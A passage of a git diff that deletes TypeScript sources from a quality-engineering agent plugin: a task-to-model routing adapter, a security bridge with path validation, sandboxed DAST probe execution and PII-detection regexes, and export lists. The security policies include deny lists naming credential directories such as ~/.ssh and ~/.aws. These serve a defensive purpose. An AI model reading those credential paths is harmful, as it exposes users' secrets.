- 'chaos-experiment-design': ['chaos-injector', 'resilience-assessor', 'recovery-validator', 'load-generator', 'metric-aggregator'],
-
- // Contract
- 'validate-contract': ['openapi-validator', 'graphql-validator', 'grpc-validator'],
- 'validate-simple-contract': ['openapi-validator'],
-
- // Architecture
- 'architecture-analysis': ['knowledge-graph-builder', 'dependency-analyzer', 'complexity-assessor', 'pattern-miner', 'semantic-searcher'],
-};
-
-/**
- * Model tier cost estimates per request
- */
-const TIER_COSTS: Record<ModelTier, number> = {
- 1: 0, // Agent Booster - free
- 2: 0.001, // Haiku/Sonnet average
- 3: 0.015, // Opus
-};
-
-/**
- * Model selection by tier
- */
-const TIER_MODELS: Record<ModelTier, ModelSelection> = {
- 1: 'haiku', // Fallback if Agent Booster unavailable
- 2: 'sonnet', // Default for Tier 2
- 3: 'opus', // Always Opus for Tier 3
-};
-
-/**
- * QE Model Routing Adapter Implementation
- *
- * Aligns TinyDancer routing with V3's ADR-026 Agent Booster routing.
- * Provides optimal model selection for QE tasks.
- */
-export class QEModelRoutingAdapter implements IQEModelRoutingAdapter {
- private v3Router: IEnhancedModelRouter | null;
- private logger: QELogger;
-
- constructor(
- logger: QELogger,
- v3Router?: IEnhancedModelRouter
- ) {
- this.logger = logger;
- this.v3Router = v3Router || null;
- }
-
- /**
- * Route a QE task to the appropriate model tier
- */
- async routeQETask(task: QETask): Promise<QERouteResult> {
- try {
- this.logger.debug(`Routing QE task: ${task.category}`);
-
- // 1. Get QE-specific complexity
- const complexity = this.getCategoryComplexity(task.category);
-
- // 2. Determine tier based on complexity
- const tier = this.determineTier(complexity);
-
- // 3. Check for Agent Booster availability
- const agentBooster = this.canUseAgentBooster(task);
-
- // 4. Try V3 router if available for enhanced routing
- let v3Result: EnhancedRouteResult | null = null;
- if (this.v3Router) {
- try {
- v3Result = await this.v3Router.route(task.description, {
- filePath: task.targetPath,
- });
- } catch (error) {
- this.logger.warn('V3 router failed, using fallback', error);
- }
- }
-
- // 5. Build final route result
- const model = this.selectModel(tier, v3Result);
- const recommendedAgents = this.getRecommendedAgents(task.category, tier);
- const costEstimate = this.estimateCost(task, tier);
-
- const result: QERouteResult = {
- tier: agentBooster.available ? 1 : tier,
- model: agentBooster.available ? 'haiku' : model,
- qeCategory: task.category,
- qeComplexity: complexity,
- recommendedAgents,
- costEstimate: agentBooster.available ? 0 : costEstimate,
- agentBoosterAvailable: agentBooster.available,
- agentBoosterIntent: agentBooster.intent,
- explanation: this.buildExplanation(task, tier, agentBooster, v3Result),
- };
-
- this.logger.info(`Routed task "${task.category}" -> Tier ${result.tier} (${result.model})`);
- return result;
- } catch (error) {
- this.logger.error('Task routing failed', error);
- throw new QERoutingError('Task routing failed', error as Error);
- }
- }
-
- /**
- * Get complexity score for a category
- */
- getCategoryComplexity(category: string): number {
- // Check exact match
- if (CATEGORY_COMPLEXITY[category] !== undefined) {
- return CATEGORY_COMPLEXITY[category];
- }
-
- // Check partial matches
- for (const [key, value] of Object.entries(CATEGORY_COMPLEXITY)) {
- if (category.includes(key) || key.includes(category)) {
- return value;
- }
- }
-
- // Default to medium complexity
- this.logger.debug(`Unknown category "${category}", defaulting to 0.5 complexity`);
- return 0.5;
- }
-
- /**
- * Get recommended agents for a tier and category
- */
- getRecommendedAgents(category: string, tier: ModelTier): string[] {
- // Get agents for category
- const categoryAgents = CATEGORY_AGENTS[category] || ['generic-qe-agent'];
-
- // Tier determines how many agents to use
- const tierAgentCounts: Record<ModelTier, number> = {
- 1: 1, // Single agent for simple tasks
- 2: 3, // Small team for medium tasks
- 3: 5, // Full team for complex tasks
- };
-
- const maxAgents = tierAgentCounts[tier];
- return categoryAgents.slice(0, maxAgents);
- }
-
- /**
- * Estimate cost for a task
- */
- estimateCost(task: QETask, tier: ModelTier): number {
- const baseCost = TIER_COSTS[tier];
- const complexity = this.getCategoryComplexity(task.category);
-
- // Adjust for task complexity and context
- let multiplier = 1 + complexity;
-
- // Larger files = more tokens = higher cost
- if (task.context?.fileSize && typeof task.context.fileSize === 'number') {
- const fileSizeKb = task.context.fileSize / 1024;
- multiplier *= 1 + (fileSizeKb / 100); // +1% per 100KB
- }
-
- return Math.round(baseCost * multiplier * 10000) / 10000;
- }
-
- /**
- * Check if Agent Booster can handle the task
- */
- canUseAgentBooster(task: QETask): { available: boolean; intent?: string } {
- const intent = AGENT_BOOSTER_INTENTS[task.category];
-
- if (intent) {
- return { available: true, intent };
- }
-
- // Check if complexity is low enough for Agent Booster
- const complexity = this.getCategoryComplexity(task.category);
- if (complexity < 0.2) {
- // Infer intent from category
- if (task.category.includes('add-')) {
- return { available: true, intent: task.category };
- }
- if (task.category.includes('remove-')) {
- return { available: true, intent: task.category };
- }
- }
-
- return { available: false };
- }
-
- /**
- * Determine tier based on complexity
- */
- private determineTier(complexity: number): ModelTier {
- if (complexity < 0.2) return 1;
- if (complexity < 0.6) return 2;
- return 3;
- }
-
- /**
- * Select model based on tier and V3 router result
- */
- private selectModel(tier: ModelTier, v3Result: EnhancedRouteResult | null): ModelSelection {
- // If V3 router provided a result, use its model if tiers align
- if (v3Result && v3Result.tier === tier) {
- return v3Result.model;
- }
-
- // Tier 2 decision: Haiku for simpler, Sonnet for medium
- if (tier === 2) {
- // Use Sonnet as default for Tier 2 in QE (more capable for test generation)
- return 'sonnet';
- }
-
- return TIER_MODELS[tier];
- }
-
- /**
- * Build explanation for routing decision
- */
- private buildExplanation(
- task: QETask,
- tier: ModelTier,
- agentBooster: { available: boolean; intent?: string },
- v3Result: EnhancedRouteResult | null
- ): string {
- const parts: string[] = [];
-
- // Category and complexity
- const complexity = this.getCategoryComplexity(task.category);
- parts.push(`Task category "${task.category}" has complexity ${complexity.toFixed(2)}.`);
-
- // Agent Booster
- if (agentBooster.available) {
- parts.push(`Agent Booster available (intent: ${agentBooster.intent}) for 352x faster execution at $0 cost.`);
- }
-
- // Tier selection
- const tierDescriptions: Record<ModelTier, string> = {
- 1: 'Simple transformation - can be handled without LLM',
- 2: 'Medium complexity - requires Haiku or Sonnet',
- 3: 'High complexity - requires Opus for complex reasoning',
- };
- parts.push(`Selected Tier ${tier}: ${tierDescriptions[tier]}.`);
-
- // V3 router alignment
- if (v3Result) {
- if (v3Result.tier === tier) {
- parts.push('V3 router agrees with tier selection.');
- } else {
- parts.push(`V3 router suggested Tier ${v3Result.tier} but QE complexity mapping prefers Tier ${tier}.`);
- }
- }
-
- // Agent recommendation
- const agents = this.getRecommendedAgents(task.category, tier);
- parts.push(`Recommended ${agents.length} agent(s): ${agents.join(', ')}.`);
-
- return parts.join(' ');
- }
-}
-
-/**
- * QE Routing Error class
- */
-export class QERoutingError extends Error {
- public readonly cause?: Error;
-
- constructor(message: string, cause?: Error) {
- super(message);
- this.name = 'QERoutingError';
- this.cause = cause;
- }
-}
diff --git a/v3/plugins/agentic-qe/src/bridges/QESecurityBridge.ts b/v3/plugins/agentic-qe/src/bridges/QESecurityBridge.ts
deleted file mode 100644
index e2adcb5cc0..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/QESecurityBridge.ts
+++ /dev/null
@@ -1,646 +0,0 @@
-/**
- * QE Security Bridge
- *
- * Anti-corruption layer for V3 security module integration.
- * Handles path validation, safe execution, audit trails, and PII detection.
- *
- * Integrates with ADR-013: Core Security Module components:
- * - PathValidator: Prevents path traversal attacks
- * - SafeExecutor: Sandboxed command execution
- * - InputValidator: Zod-based input validation
- * - TokenGenerator: Cryptographic operations
- *
- * Based on:
- * - ADR-030: Agentic-QE Plugin Integration
- * - ADR-013: Core Security Module
- *
- * @module v3/plugins/agentic-qe/bridges/QESecurityBridge
- */
-
-import type {
- IQESecurityBridge,
- ValidatedPath,
- DASTProbe,
- DASTResult,
- AuditEvent,
- SignedAuditEntry,
- PIIDetection,
- PIIType,
- SecurityPolicy,
- QELogger,
-} from '../interfaces.js';
-
-// V3 Security types (would be imported from @claude-flow/security in production)
-interface ISecurityModule {
- pathValidator: IPathValidator;
- safeExecutor: ISafeExecutor;
- inputValidator: IInputValidator;
- tokenGenerator: ITokenGenerator;
-}
-
-interface IPathValidator {
- validate(path: string, options?: PathValidatorOptions): Promise<PathValidationResult>;
-}
-
-interface PathValidatorOptions {
- allowedPrefixes?: string[];
- allowSymlinks?: boolean;
- resolveRealPath?: boolean;
-}
-
-interface PathValidationResult {
- valid: boolean;
- error?: string;
- resolvedPath?: string;
-}
-
-interface ISafeExecutor {
- execute(
- command: string,
- args: string[],
- options?: SafeExecutorOptions
- ): Promise<ExecutionResult>;
-}
-
-interface SafeExecutorOptions {
- timeout?: number;
- cwd?: string;
- allowedPaths?: string[];
- networkPolicy?: 'unrestricted' | 'local-only' | 'blocked';
- env?: Record<string, string>;
-}
-
-interface ExecutionResult {
- exitCode: number;
- stdout: string;
- stderr: string;
- timedOut: boolean;
-}
-
-interface IInputValidator {
- validate<T>(input: unknown, schema: string): ValidationResult<T>;
- getPIIPatterns(): Record<string, RegExp>;
- getSchema(name: string): unknown;
-}
-
-interface ValidationResult<T> {
- valid: boolean;
- errors?: string[];
- value?: T;
-}
-
-interface ITokenGenerator {
- sign(data: string, options?: SignOptions): string;
- verify(data: string, signature: string): boolean;
- generateToken(length?: number): string;
-}
-
-interface SignOptions {
- algorithm?: 'HS256' | 'HS384' | 'HS512';
-}
-
-/**
- * Security policy configurations by context
- */
-const SECURITY_POLICIES: Record<string, SecurityPolicy> = {
- 'test-generation': {
- level: 'medium',
- networkPolicy: 'restricted',
- fileSystemPolicy: 'workspace-only',
- allowedCommands: ['node', 'npm', 'npx'],
- blockedPaths: ['/etc', '/var', '~/.ssh', '~/.aws'],
- maxExecutionTime: 30000,
- maxMemory: 512 * 1024 * 1024,
- },
- 'test-execution': {
- level: 'high',
- networkPolicy: 'restricted',
- fileSystemPolicy: 'workspace-only',
- allowedCommands: ['node', 'npm', 'npx', 'vitest', 'jest', 'pytest'],
- blockedPaths: ['/etc', '/var', '~/.ssh', '~/.aws', '~/.config'],
- maxExecutionTime: 60000,
- maxMemory: 1024 * 1024 * 1024,
- },
- 'security-compliance': {
- level: 'critical',
- networkPolicy: 'blocked',
- fileSystemPolicy: 'readonly',
- allowedCommands: ['node'],
- blockedPaths: ['/etc', '/var', '~/.ssh', '~/.aws', '~/.config', '/tmp'],
- maxExecutionTime: 10000,
- maxMemory: 256 * 1024 * 1024,
- },
- 'chaos-resilience': {
- level: 'critical',
- networkPolicy: 'restricted',
- fileSystemPolicy: 'workspace-only',
- allowedCommands: ['node', 'npm', 'npx'],
- blockedPaths: ['/etc', '/var', '~/.ssh', '~/.aws'],
- maxExecutionTime: 30000,
- maxMemory: 512 * 1024 * 1024,
- },
- default: {
- level: 'medium',
- networkPolicy: 'restricted',
- fileSystemPolicy: 'workspace-only',
- allowedCommands: ['node', 'npm', 'npx'],
- blockedPaths: ['/etc', '/var', '~/.ssh', '~/.aws'],
- maxExecutionTime: 30000,
- maxMemory: 512 * 1024 * 1024,
- },
-};
-
-/**
- * PII detection patterns
- */
-const PII_PATTERNS: Record<PIIType, RegExp> = {
- email: /\b[A-Za-z0-9._%+-]+@[A-Za-z0-9.-]+\.[A-Z|a-z]{2,}\b/g,
- phone: /\b(?:\+?1[-.\s]?)?\(?\d{3}\)?[-.\s]?\d{3}[-.\s]?\d{4}\b/g,
- ssn: /\b\d{3}[-\s]?\d{2}[-\s]?\d{4}\b/g,
- credit_card: /\b(?:\d{4}[-\s]?){3}\d{4}\b/g,
- api_key: /\b(?:sk|pk|api|key|token|secret|password|auth)[-_]?[a-zA-Z0-9]{20,}\b/gi,
- password: /(?:password|passwd|pwd)\s*[:=]\s*['"]?[^\s'"]+['"]?/gi,
- address: /\b\d{1,5}\s+[\w\s]+(?:street|st|avenue|ave|road|rd|boulevard|blvd|drive|dr|court|ct|lane|ln|way)\b/gi,
- name: /\b(?:mr|mrs|ms|dr|prof)\.?\s+[A-Z][a-z]+\s+[A-Z][a-z]+\b/g,
- dob: /\b(?:0?[1-9]|1[0-2])[-/](?:0?[1-9]|[12]\d|3[01])[-/](?:19|20)\d{2}\b/g,
- ip_address: /\b(?:\d{1,3}\.){3}\d{1,3}\b/g,
-};
-
-/**
- * QE Security Bridge Implementation
- *
- * Bridges agentic-qe security needs to V3's security module.
- * Provides path validation, safe execution, and PII detection.
- */
-export class QESecurityBridge implements IQESecurityBridge {
- private security: ISecurityModule;
- private logger: QELogger;
- private workspaceRoot: string;
-
- constructor(
- security: ISecurityModule,
- logger: QELogger,
- workspaceRoot?: string
- ) {
- this.security = security;
- this.logger = logger;
- this.workspaceRoot = workspaceRoot || process.cwd();
- }
-
- /**
- * Validate a file path before security scan
- */
- async validateScanTarget(path: string): Promise<ValidatedPath> {
- try {
- this.logger.debug(`Validating scan target: ${path}`);
-
- const result = await this.security.pathValidator.validate(path, {
- allowedPrefixes: [this.workspaceRoot],
- allowSymlinks: false,
- resolveRealPath: true,
- });
-
- if (!result.valid) {
- this.logger.warn(`Path validation failed: ${path} - ${result.error}`);
- return {
- path,
- valid: false,
- error: result.error,
- };
- }
-
- this.logger.debug(`Path validated: ${result.resolvedPath}`);
- return {
- path,
- valid: true,
- resolvedPath: result.resolvedPath,
- };
- } catch (error) {
- this.logger.error(`Path validation error: ${path}`, error);
- return {
- path,
- valid: false,
- error: (error as Error).message,
- };
- }
- }
-
- /**
- * Execute DAST probes with security constraints
- */
- async executeDAST(target: string, probes: DASTProbe[]): Promise<DASTResult[]> {
- const results: DASTResult[] = [];
-
- this.logger.info(`Executing ${probes.length} DAST probes against ${target}`);
-
- for (const probe of probes) {
- try {
- this.logger.debug(`Executing probe: ${probe.id} (${probe.type})`);
-
- const startTime = Date.now();
-
- // Generate safe probe script
- const probeScript = this.generateProbeScript(probe, target);
-
- // Execute with security constraints
- const execResult = await this.security.safeExecutor.execute(
- 'node',
- ['--input-type=module', '-e', probeScript],
- {
- timeout: probe.timeout,
- cwd: this.workspaceRoot,
- allowedPaths: [target],
- networkPolicy: 'local-only',
- }
- );
-
- const executionTimeMs = Date.now() - startTime;
-
- // Parse probe result
- const result = this.parseProbeResult(probe, execResult, executionTimeMs);
- results.push(result);
-
- if (result.vulnerable) {
- this.logger.warn(`Vulnerability detected by probe ${probe.id}: ${result.evidence}`);
- }
- } catch (error) {
- this.logger.error(`Probe ${probe.id} failed`, error);
- results.push({
- probeId: probe.id,
- vulnerable: false,
- statusCode: 0,
- executionTimeMs: 0,
- evidence: `Probe execution failed: ${(error as Error).message}`,
- });
- }
- }
-
- this.logger.info(`DAST scan complete. ${results.filter(r => r.vulnerable).length} vulnerabilities found`);
- return results;
- }
-
- /**
- * Create a signed audit entry
- */
- async createAuditEntry(event: AuditEvent): Promise<SignedAuditEntry> {
- try {
- this.logger.debug(`Creating audit entry: ${event.type}`);
-
- const entry = {
- id: this.generateUUID(),
- event,
- timestamp: Date.now(),
- actor: event.actor,
- };
-
- // Sign the entry with V3 token generator
- const signature = this.security.tokenGenerator.sign(
- JSON.stringify(entry),
- { algorithm: 'HS256' }
- );
-
- const signedEntry: SignedAuditEntry = {
- ...entry,
- signature,
- verifiable: true,
- };
-
- this.logger.debug(`Audit entry created: ${signedEntry.id}`);
- return signedEntry;
- } catch (error) {
- this.logger.error('Failed to create audit entry', error);
- throw new QESecurityError('Failed to create audit entry', error as Error);
- }
- }
-
- /**
- * Detect PII in content
- */
- async detectPII(content: string): Promise<PIIDetection[]> {
- const detections: PIIDetection[] = [];
-
- this.logger.debug('Scanning content for PII...');
-
- try {
- // Try to use V3's PII patterns first
- let patterns: Record<string, RegExp>;
- try {
- patterns = this.security.inputValidator.getPIIPatterns();
- } catch {
- // Fallback to built-in patterns
- patterns = PII_PATTERNS;
- }
-
- for (const [typeKey, pattern] of Object.entries(patterns)) {
- const type = typeKey as PIIType;
- // Reset lastIndex for global patterns
- pattern.lastIndex = 0;
-
- let match: RegExpExecArray | null;
- while ((match = pattern.exec(content)) !== null) {
- detections.push({
- type,
- location: {
- start: match.index,
- end: match.index + match[0].length,
- },
- confidence: this.calculatePIIConfidence(type, match[0]),
- redactedValue: this.redactPII(type, match[0]),
- });
- }
- }
-
- this.logger.info(`Found ${detections.length} PII instances`);
- return detections;
- } catch (error) {
- this.logger.error('PII detection failed', error);
- throw new QESecurityError('PII detection failed', error as Error);
- }
- }
-
- /**
- * Validate input against security schemas
- */
- async validateInput<T>(
- input: unknown,
- schema: string
- ): Promise<{ valid: boolean; errors?: string[]; value?: T }> {
- try {
- this.logger.debug(`Validating input against schema: ${schema}`);
-
- const result = this.security.inputValidator.validate<T>(input, schema);
-
- if (!result.valid) {
- this.logger.warn(`Input validation failed: ${result.errors?.join(', ')}`);
- }
-
- return result;
- } catch (error) {
- this.logger.error(`Input validation error for schema ${schema}`, error);
- return {
- valid: false,
- errors: [(error as Error).message],
- };
- }
- }
-
- /**
- * Sanitize error message for safe display
- */
- sanitizeError(error: Error): Error {
- // Remove potentially sensitive information from error messages
- let message = error.message;
-
- // Remove file paths that could reveal system structure
- message = message.replace(/\/[\w/.-]+/g, '[PATH]');
-
- // Remove potential secrets
- message = message.replace(/(?:api[_-]?key|secret|password|token)[=:]\s*['"]?[\w-]+['"]?/gi, '[REDACTED]');
-
- // Remove stack traces
- const sanitized = new Error(message);
- sanitized.name = error.name;
-
- return sanitized;
- }
-
- /**
- * Get security policy for a context
- */
- getSecurityPolicy(context: string): SecurityPolicy {
- const policy = SECURITY_POLICIES[context] || SECURITY_POLICIES.default;
- this.logger.debug(`Returning security policy for context: ${context} (level: ${policy.level})`);
- return { ...policy };
- }
-
- /**
- * Generate DAST probe script
- */
- private generateProbeScript(probe: DASTProbe, target: string): string {
- // Generate a safe Node.js script to execute the probe
- const script = `
- const http = require('http');
- const https = require('https');
- const url = require('url');
-
- const probeConfig = ${JSON.stringify(probe)};
- const targetUrl = ${JSON.stringify(target)};
-
- async function executeProbe() {
- return new Promise((resolve, reject) => {
- const parsed = url.parse(targetUrl + probeConfig.endpoint);
- const protocol = parsed.protocol === 'https:' ? https : http;
-
- const options = {
- hostname: parsed.hostname,
- port: parsed.port || (parsed.protocol === 'https:' ? 443 : 80),
- path: parsed.path,
- method: probeConfig.method,
- timeout: probeConfig.timeout,
- headers: {
- 'Content-Type': 'application/json',
- 'User-Agent': 'QE-DAST-Scanner/1.0'
- }
- };
-
- const req = protocol.request(options, (res) => {
- let data = '';
- res.on('data', chunk => data += chunk);
- res.on('end', () => {
- resolve({
- statusCode: res.statusCode,
- headers: res.headers,
- body: data
- });
- });
- });
-
- req.on('error', reject);
- req.on('timeout', () => reject(new Error('Request timeout')));
-
- if (probeConfig.payload) {
- req.write(JSON.stringify(probeConfig.payload));
- }
-
- req.end();
- });
- }
-
- executeProbe()
- .then(result => console.log(JSON.stringify(result)))
- .catch(error => console.error(JSON.stringify({ error: error.message })));
- `;
-
- return script;
- }
-
- /**
- * Parse probe execution result
- */
- private parseProbeResult(
- probe: DASTProbe,
- execResult: ExecutionResult,
- executionTimeMs: number
- ): DASTResult {
- try {
- if (execResult.timedOut) {
- return {
- probeId: probe.id,
- vulnerable: false,
- statusCode: 0,
- executionTimeMs,
- evidence: 'Request timed out',
- };
- }
-
- const response = JSON.parse(execResult.stdout);
-
- // Check for vulnerability indicators in response
- let vulnerable = false;
- let evidence: string | undefined;
-
- for (const indicator of probe.indicators) {
- if (response.body?.includes(indicator)) {
- vulnerable = true;
- evidence = `Found indicator: ${indicator}`;
- break;
- }
- }
-
- return {
- probeId: probe.id,
- vulnerable,
- severity: vulnerable ? this.determineSeverity(probe.type) : undefined,
- statusCode: response.statusCode,
- evidence,
- executionTimeMs,
- };
- } catch {
- return {
- probeId: probe.id,
- vulnerable: false,
- statusCode: 0,
- executionTimeMs,
- evidence: execResult.stderr || 'Failed to parse response',
- };
- }
- }
-
- /**
- * Determine vulnerability severity by type
- */
- private determineSeverity(type: DASTProbe['type']): DASTResult['severity'] {
- const severityMap: Record<DASTProbe['type'], DASTResult['severity']> = {
- sqli: 'critical',
- xss: 'high',
- ssrf: 'critical',
- csrf: 'medium',
- auth: 'critical',
- header: 'medium',
- custom: 'medium',
- };
- return severityMap[type];
- }
-
- /**
- * Calculate PII detection confidence
- */
- private calculatePIIConfidence(type: PIIType, value: string): number {
- // Higher confidence for certain patterns
- const baseConfidence: Record<PIIType, number> = {
- email: 0.95,
- ssn: 0.98,
- credit_card: 0.95,
- api_key: 0.85,
- phone: 0.80,
- password: 0.90,
- address: 0.70,
- name: 0.60,
- dob: 0.75,
- ip_address: 0.85,
- };
-
- let confidence = baseConfidence[type];
-
- // Adjust based on value characteristics
- if (type === 'email' && value.includes('+')) confidence *= 0.95;
- if (type === 'phone' && value.length >= 14) confidence *= 1.05;
- if (type === 'credit_card' && this.validateLuhn(value)) confidence = 0.99;
-
- return Math.min(confidence, 1.0);
- }
-
- /**
- * Luhn algorithm for credit card validation
- */
- private validateLuhn(value: string): boolean {
- const digits = value.replace(/\D/g, '');
- if (digits.length < 13 || digits.length > 19) return false;
-
- let sum = 0;
- let isEven = false;
-
- for (let i = digits.length - 1; i >= 0; i--) {
- let digit = parseInt(digits[i], 10);
-
- if (isEven) {
- digit *= 2;
- if (digit > 9) digit -= 9;
- }
-
- sum += digit;
- isEven = !isEven;
- }
-
- return sum % 10 === 0;
- }
-
- /**
- * Redact PII value for safe storage
- */
- private redactPII(type: PIIType, value: string): string {
- switch (type) {
- case 'email': {
- const [local, domain] = value.split('@');
- return `${local[0]}***@${domain}`;
- }
- case 'phone':
- return value.replace(/\d(?=\d{4})/g, '*');
- case 'ssn':
- return '***-**-' + value.slice(-4);
- case 'credit_card':
- return '**** **** **** ' + value.replace(/\D/g, '').slice(-4);
- case 'api_key':
- return value.slice(0, 4) + '***' + value.slice(-4);
- case 'password':
- return '********';
- default:
- return value.slice(0, 2) + '***';
- }
- }
-
- /**
- * Generate UUID
- */
- private generateUUID(): string {
- // Simple UUID v4 generation
- return 'xxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(/[xy]/g, (c) => {
- const r = (Math.random() * 16) | 0;
- const v = c === 'x' ? r : (r & 0x3) | 0x8;
- return v.toString(16);
- });
- }
-}
-
-/**
- * QE Security Error class
- */
-export class QESecurityError extends Error {
- public readonly cause?: Error;
-
- constructor(message: string, cause?: Error) {
- super(message);
- this.name = 'QESecurityError';
- this.cause = cause;
- }
-}
diff --git a/v3/plugins/agentic-qe/src/bridges/index.ts b/v3/plugins/agentic-qe/src/bridges/index.ts
deleted file mode 100644
index ef17bd3905..0000000000
--- a/v3/plugins/agentic-qe/src/bridges/index.ts
+++ /dev/null
@@ -1,26 +0,0 @@
-/**
- * Agentic-QE Bridge Layer Exports
- *
- * Anti-corruption layer (ACL) bridges that translate between agentic-qe
- * and Claude Flow V3 domains. Each bridge isolates a specific integration point.
- *
- * Based on ADR-030: Agentic-QE Plugin Integration
- *
- * @module v3/plugins/agentic-qe/bridges
- */
-
-export { QEMemoryBridge } from './QEMemoryBridge.js';
-export { QESecurityBridge } from './QESecurityBridge.js';
-export { QECoreBridge } from './QECoreBridge.js';
-export { QEHiveBridge } from './QEHiveBridge.js';
-export { QEModelRoutingAdapter } from './QEModelRoutingAdapter.js';
-
-// Re-export interfaces
-export type {
- IQEMemoryBridge,
- IQESecurityBridge,
- IQECoreBridge,
- IQEHiveBridge,
- IQEModelRoutingAdapter,
- QEPluginContext,
-} from '../interfaces.js';
diff --git a/v3/plugins/agentic-qe/src/index.ts b/v3/plugins/agentic-qe/src/index.ts
deleted file mode 100644
index d161bf5425..0000000000
--- a/v3/plugins/agentic-qe/src/index.ts
+++ /dev/null
@@ -1,360 +0,0 @@
-/**
- * Agentic-QE Plugin Entry Point
- * Plugin exports for claude-flow V3 integration
- *
- * @module v3/plugins/agentic-qe
- * @version 3.5.59
- */
-
-// =============================================================================
-// Main Plugin Export
-// =============================================================================
-
-export { AQEPlugin } from './plugin.js';
-
-// Create default plugin instance
-import { AQEPlugin } from './plugin.js';
-export const agenticQEPlugin = new AQEPlugin();
-export default agenticQEPlugin;
-
-// =============================================================================
-// Type Exports
-// =============================================================================
-
-export type {
- // Core QE Types
- TestType,
- TDDStyle,
- TestFramework,
- SecurityLevel,
- ModelTier,
- ContractType,
- ChaosFailureType,
- ComplianceStandard,
- SecurityScanType,
- Severity,
- QualityGateOperator,
- CoverageGapType,
- CoverageAlgorithm,
-
- // Bounded Context Types
- BoundedContext,
- V3Domain,
-
- // Test Generation Types
- TestGenerationRequest,
- CoverageConfig,
- TestGenerationResult,
- GeneratedTestFile,
- TestGenerationStats,
- TestPattern,
-
- // TDD Cycle Types
- TDDCycleRequest,
- TDDCycleResult,
- TDDCycleStep,
- ImplementationArtifact,
- RefactoringSuggestion,
-
- // Coverage Analysis Types
- CoverageAnalysisRequest,
- CoverageReport,
- CoverageMetrics,
- FileCoverage,
- BranchInfo,
- CoverageGap,
- CoverageTrend,
-
- // Quality Assessment Types
- QualityGate,
- QualityGateRequest,
- QualityGateResult,
- GateEvaluationResult,
- ReadinessAssessment,
-
- // Defect Intelligence Types
- DefectPredictionRequest,
- DefectPredictionResult,
- DefectPrediction,
- DefectHotspot,
- RootCauseAnalysis,
-
- // Security Compliance Types
- SecurityScanRequest,
- SecurityScanResult,
- SecurityFinding,
- ComplianceStatus,
- ComplianceCheck,
- SecuritySummary,
-
- // Contract Testing Types
- ContractValidationRequest,
- ContractValidationResult,
- ContractError,
- ContractWarning,
- BreakingChange,
-
- // Chaos Engineering Types
- ChaosInjectionRequest,
- ChaosInjectionResult,
- ChaosObservation,
- ResilienceAssessment,
-
- // Test Execution Types
- TestExecutionResult,
- TestResult,
-
- // Plugin Configuration Types
- AQEPluginConfig,
- SandboxConfig,
- ModelRoutingConfig,
- QEPerformanceTargets,
-
- // Memory Namespace Types
- HNSWConfig,
- QEMemoryNamespace,
- SchemaField,
-
- // Worker Types
- QEWorkerType,
- QEWorkerDefinition,
- QEWorkerStatus,
-
- // Hook Types
- QEHookEvent,
- HookPriority,
- QEHookDefinition,
-
- // Agent Types
- QEAgentId,
- QEAgentStatus,
- QEAgentDefinition,
-
- // Context Mapping Types
- ContextMapping,
-
- // Result Types
- QEResult,
- QEError,
-} from './types.js';
-
-// =============================================================================
-// Interface Exports
-// =============================================================================
-
-export type {
- // Bridge Interfaces
- IQEMemoryBridge,
- LearningTrajectory,
- LearningStep,
- TestPattern as ITestPattern,
- PatternFilters,
- CoverageGap as ICoverageGap,
- QEMemoryStats,
-
- IQESecurityBridge,
- ValidatedPath,
- DASTProbe,
- DASTResult,
- AuditEvent,
- SignedAuditEntry,
- PIIType,
- PIIDetection,
- SecurityPolicy,
-
- IQECoreBridge,
- TestSuite,
- TestCase,
- TestSuiteConfig,
- ExecutorConfig,
- AgentHandle,
- TaskHandle,
- TaskResult,
- TaskProgress,
- QualityGate as IQualityGate,
- QualityGateCriteria,
- QualityMetrics,
- WorkflowResult,
- StepResult,
- Priority,
-
- IQEHiveBridge,
- HiveRole,
- QESwarmTask,
- QESwarmResult,
- AgentTaskResult,
- ConsensusResult,
-
- IQEModelRoutingAdapter,
- QETask,
- ModelTier as IModelTier,
- ModelSelection,
- QERouteResult,
-
- // Plugin Context
- QEPluginContext,
- QELogger,
- QEPluginConfig,
- TestPatternType,
-} from './interfaces.js';
-
-// =============================================================================
-// Schema Exports
-// =============================================================================
-
-export {
- // Base Schemas
- TestTypeSchema,
- TDDStyleSchema,
- TestFrameworkSchema,
- SecurityLevelSchema,
- ModelTierSchema,
- ContractTypeSchema,
- ChaosFailureTypeSchema,
- ComplianceStandardSchema,
- SecurityScanTypeSchema,
- SeveritySchema,
- QualityGateOperatorSchema,
- CoverageAlgorithmSchema,
- BoundedContextSchema,
-
- // Request Schemas
- TestGenerationRequestSchema,
- TDDCycleRequestSchema,
- CoverageAnalysisRequestSchema,
- QualityGateRequestSchema,
- DefectPredictionRequestSchema,
- SecurityScanRequestSchema,
- ContractValidationRequestSchema,
- ChaosInjectionRequestSchema,
- VisualRegressionRequestSchema,
- AccessibilityCheckRequestSchema,
-
- // Configuration Schemas
- PluginConfigSchema,
- SandboxConfigSchema,
- ModelRoutingConfigSchema,
- HNSWConfigSchema,
- MemoryNamespaceSchema,
-
- // MCP Tool Input Schemas
- GenerateTestsInputSchema,
- AnalyzeCoverageInputSchema,
- SecurityScanInputSchema,
- ValidateContractInputSchema,
- ChaosInjectInputSchema,
- EvaluateQualityGateInputSchema,
- PredictDefectsInputSchema,
- TDDCycleInputSchema,
-
- // Validation Helpers
- validateInput,
- parseOrThrow,
- parseWithDefaults,
-} from './schemas.js';
-
-// =============================================================================
-// Schema Type Exports
-// =============================================================================
-
-export type {
- TestGenerationInput,
- TDDCycleInput,
- CoverageAnalysisInput,
- QualityGateInput,
- DefectPredictionInput,
- SecurityScanInput,
- ContractValidationInput,
- ChaosInjectionInput,
- VisualRegressionInput,
- AccessibilityCheckInput,
- PluginConfig,
- SandboxConfig as SandboxConfigType,
- ModelRoutingConfig as ModelRoutingConfigType,
- MemoryNamespace,
- WorkerDefinition,
- HookDefinition,
- AgentDefinition,
-} from './schemas.js';
-
-// =============================================================================
-// Plugin Metadata
-// =============================================================================
-
-/**
- * Plugin metadata for registration
- */
-export const PLUGIN_METADATA = {
- name: 'agentic-qe',
- version: '3.5.59',
- description: 'Quality Engineering plugin with 51 specialized agents across 12 DDD bounded contexts',
- author: 'rUv',
- license: 'MIT',
- homepage: 'https://github.com/ruvnet/agentic-qe',
- repository: 'https://github.com/ruvnet/agentic-qe',
- minClaudeFlowVersion: '3.0.0-alpha.50',
- capabilities: [
- 'test-generation',
- 'test-execution',
- 'coverage-analysis',
- 'quality-assessment',
- 'defect-intelligence',
- 'requirements-validation',
- 'code-intelligence',
